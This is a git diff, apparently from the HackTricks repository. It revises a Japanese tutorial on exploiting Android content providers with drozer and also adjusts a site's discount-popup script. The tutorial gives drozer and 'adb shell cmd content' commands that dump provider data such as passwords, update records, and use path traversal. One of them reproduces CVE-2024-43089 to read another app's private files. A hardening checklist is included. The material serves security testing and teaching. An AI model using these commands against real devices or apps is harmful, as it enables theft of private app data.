diff --git a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md
index 292fe7672..265606816 100644
--- a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md
+++ b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md
@@ -4,7 +4,7 @@
 
 ## Intro
 
-データは、**コンテンツプロバイダー**として知られるコンポーネントによって、**他のアプリケーションに供給されます**。これらのリクエストは、**ContentResolverクラス**のメソッドを通じて管理されます。コンテンツプロバイダーは、**データベース**、**ファイル**、または**ネットワーク**など、さまざまな場所にデータを保存できます。
+データは**あるアプリケーションから他のアプリケーションに**要求に応じて、**コンテンツプロバイダー**として知られるコンポーネントによって供給されます。これらの要求は**ContentResolverクラス**のメソッドを通じて管理されます。コンテンツプロバイダーは、**データベース**、**ファイル**、または**ネットワーク**など、さまざまな場所にデータを保存できます。
 
 _Manifest.xml_ファイルでは、コンテンツプロバイダーの宣言が必要です。例えば:
 ```xml
@@ -14,7 +14,7 @@ _Manifest.xml_ファイルでは、コンテンツプロバイダーの宣言が
 ```
 `content://com.mwr.example.sieve.DBContentProvider/Keys`にアクセスするには、`READ_KEYS`権限が必要です。興味深いことに、パス`/Keys/`は以下のセクションでアクセス可能であり、これは開発者のミスにより保護されていません。開発者は`/Keys`を保護しましたが、`/Keys/`を宣言しました。
 
-**おそらく、プライベートデータにアクセスしたり、いくつかの脆弱性（SQLインジェクションやパストラバーサル）を悪用することができます。**
+**おそらく、プライベートデータにアクセスしたり、いくつかの脆弱性（SQLインジェクションやパス・トラバーサル）を悪用することができます。**
 
 ## **公開されたコンテンツプロバイダー**から情報を取得する
 ```
@@ -65,17 +65,17 @@ content://com.mwr.example.sieve.DBContentProvider/Passwords/
 ## **データベースバックの Content Providers**
 
 おそらくほとんどの Content Providers は **データベース**のための **インターフェース**として使用されています。したがって、アクセスできる場合は、情報を **抽出、更新、挿入、削除**できる可能性があります。\
-**機密情報にアクセスできるか**確認するか、**認証**メカニズムを **バイパス**するためにそれを変更しようとしてください。
+**機密情報にアクセスできるか**確認するか、**認証**メカニズムを **バイパス**するために変更を試みてください。
 
-Content Provider のコードをチェックする際には、_query、insert、update、delete_ のように名前付けされた **関数**も探してください：
+Content Provider のコードをチェックする際には、_query、insert、update、delete_ のような名前の **関数**も **探してください**：
 
 ![](<../../../images/image (887).png>)
 
-![](<../../../images/image (254) (1) (1) (1) (1) (1) (1).png>)
+![](<../../../images/image (254) (1) (1) (1) (1) (1) (1) (1).png>)
 
-それらを呼び出すことができるからです。
+これらを呼び出すことができるからです。
 
-### クエリコンテンツ
+### コンテンツのクエリ
 ```
 dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
 _id: 1
@@ -158,9 +158,9 @@ sqlite_sequence
 dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
 127.0.0.1            localhost
 ```
-### **パス トラバーサル**
+### **パス・トラバーサル**
 
-ファイルにアクセスできる場合、パス トラバーサルを悪用しようとすることができます（この場合、これは必要ありませんが、"_../_"や類似のトリックを使用してみることができます）。
+ファイルにアクセスできる場合、パス・トラバーサルを悪用しようとすることができます（この場合、これは必要ありませんが、"_../_"や類似のトリックを使用してみることができます）。
 ```
 dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
 127.0.0.1            localhost
@@ -173,10 +173,62 @@ Vulnerable Providers:
 content://com.mwr.example.sieve.FileBackupProvider/
 content://com.mwr.example.sieve.FileBackupProvider
 ```
+## 2023-2025 更新と最新のヒント
+
+### Drozer 3.x (Python 3) がリリースされました
+
+WithSecureは2022年にdrozerのメンテナンスを再開し、フレームワークを**Python 3**（最新の**3.1.0 – 2024年4月**）に移植しました。
+互換性の修正に加えて、Content Providersを扱う際に特に便利な新しいモジュールには以下が含まれます：
+
+* `scanner.provider.exported` – `android:exported="true"`のプロバイダーのみをリストします。
+* `app.provider.grant` – `grantUriPermission()`を自動的に呼び出し、Android 12+で`FLAG_GRANT_READ_URI_PERMISSION` / `FLAG_GRANT_WRITE_URI_PERMISSION`を期待するプロバイダーと通信できるようにします。
+* **Scoped Storage**のより良い処理により、Android 11+のファイルベースのプロバイダーにもアクセスできるようになります。
+
+アップグレード（ホスト＆エージェント）：
+```bash
+pipx install --force "git+https://github.com/WithSecureLabs/drozer@v3.1.0"
+adb install drozer-agent-3.1.0.apk
+```
+### 内蔵の `cmd content` ヘルパーを使用する (ADB ≥ 8.0)
+
+すべての最新のAndroidデバイスには、**エージェントをインストールすることなく**プロバイダーをクエリ/更新できるCLIが搭載されています:
+```bash
+adb shell cmd content query  --uri content://com.test.provider/items/
+adb shell cmd content update --uri content://com.test.provider/items/1 \
+--bind price:d:1337
+adb shell cmd content call   --uri content://com.test.provider  \
+--method evilMethod --arg 'foo'
+```
+`run-as <pkg>` またはルートシェルと組み合わせて、内部専用プロバイダーをテストします。
+
+### コンテンツプロバイダーを悪用した最近の実世界のCVE
+
+| CVE | 年 | コンポーネント | バグクラス | 影響 |
+|-----|------|-----------|-----------|--------|
+| CVE-2024-43089 | 2024 | MediaProvider | `openFile()` におけるパス横断 | 任意のアプリのプライベートストレージからのファイル読み取り |
+| CVE-2023-35670 | 2023 | MediaProvider | パス横断 | 情報漏洩 |
+
+脆弱なビルドでCVE-2024-43089を再現します:
+```bash
+adb shell cmd content read \
+--uri content://media/external_primary/file/../../data/data/com.target/shared_prefs/foo.xml
+```
+### API 30+ のハードニングチェックリスト
+
+* プロバイダーが**公開**される必要がない限り、`android:exported="false"`を宣言すること – API 31からこの属性は必須です。
+* プロバイダー全体をエクスポートする代わりに、**権限**を強制し、または`android:grantUriPermissions="true"`を使用すること。
+* 許可された`projection`、`selection`、および`sortOrder`引数をホワイトリスト化すること（例：`SQLiteQueryBuilder.setProjectionMap`を使用してクエリを構築する）。
+* `openFile()`では、要求されたパスを正規化し（`FileUtils`）、トラバーサルを防ぐために`..`シーケンスを拒否すること。
+* ファイルを公開する際は、**ストレージアクセスフレームワーク**または`FileProvider`を優先すること。
+
+最近のAndroidバージョンでのこれらの変更により、多くのレガシーなエクスプロイトプリミティブが依然として機能しますが、更新されたdrozerモジュールや`cmd content`ヘルパーが自動的に適用できる追加のフラグ/権限が必要です。
+
 ## 参考文献
 
 - [https://www.tutorialspoint.com/android/android_content_providers.htm](https://www.tutorialspoint.com/android/android_content_providers.htm)
 - [https://manifestsecurity.com/android-application-security-part-15/](https://manifestsecurity.com/android-application-security-part-15/)
 - [https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)
+- [https://github.com/WithSecureLabs/drozer/releases/tag/3.1.0](https://github.com/WithSecureLabs/drozer/releases/tag/3.1.0)
+- [https://source.android.com/security/bulletin/2024-07-01](https://source.android.com/security/bulletin/2024-07-01)
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/theme/ai.js b/theme/ai.js
index 68d091923..a376d751b 100644
--- a/theme/ai.js
+++ b/theme/ai.js
@@ -4,9 +4,10 @@
 
 
 (() => {
-  const KEY  = 'htSummerDiscountDismissed';
-  const IMG  = '/images/discount.jpeg';
-  const TXT  = 'HT Summer Discount, Last Days!';
+  const KEY = 'htSummerDiscountsDismissed';
+  const IMG = '/images/discount.jpeg';
+  const TXT = 'Click here for HT Summer Discounts, Last Days!';
+  const URL = 'https://training.hacktricks.xyz';
 
   /* Stop if user already dismissed */
   if (localStorage.getItem(KEY) === 'true') return;
@@ -32,13 +33,37 @@
     display: flex; flex-direction: column; align-items: stretch;
   `);
 
-  /* --- Title bar (separate, over image) --- */
+  /* --- Title bar (link + close) --- */
   const titleBar = $('div', `
-    padding: 1rem; text-align: center;
+    position: relative;
+    padding: 1rem 2.5rem 1rem 1rem; /* room for the close button */
+    text-align: center;
     background: #222; color: #fff;
     font-size: 1.3rem; font-weight: 700;
   `);
-  titleBar.textContent = TXT;
+
+  const link = $('a', `
+    color: inherit;
+    text-decoration: none;
+    display: block;
+  `);
+  link.href = URL;
+  link.target = '_blank';
+  link.rel = 'noopener noreferrer';
+  link.textContent = TXT;
+  titleBar.appendChild(link);
+
+  /* Close "X" (no persistence) */
+  const closeBtn = $('button', `
+    position: absolute; top: .25rem; right: .5rem;
+    background: transparent; border: none;
+    color: #fff; font-size: 1.4rem; line-height: 1;
+    cursor: pointer; padding: 0; margin: 0;
+  `);
+  closeBtn.setAttribute('aria-label', 'Close');
+  closeBtn.textContent = '✕';
+  closeBtn.onclick = () => overlay.remove();
+  titleBar.appendChild(closeBtn);
 
   /* --- Image --- */
   const img = $('img');
@@ -62,14 +87,15 @@
   modal.append(titleBar, img, label);
   overlay.appendChild(modal);
 
-  (document.readyState === 'loading'
-    ? () => document.addEventListener('DOMContentLoaded', () => document.body.appendChild(overlay), { once: true })
-    : () => document.body.appendChild(overlay))();
+  if (document.readyState === 'loading') {
+    document.addEventListener('DOMContentLoaded', () => document.body.appendChild(overlay), { once: true });
+  } else {
+    document.body.appendChild(overlay);
+  }
 })();
 
 
 
-
 /**
  * HackTricks AI Chat Widget v1.16 – resizable sidebar
  * ---------------------------------------------------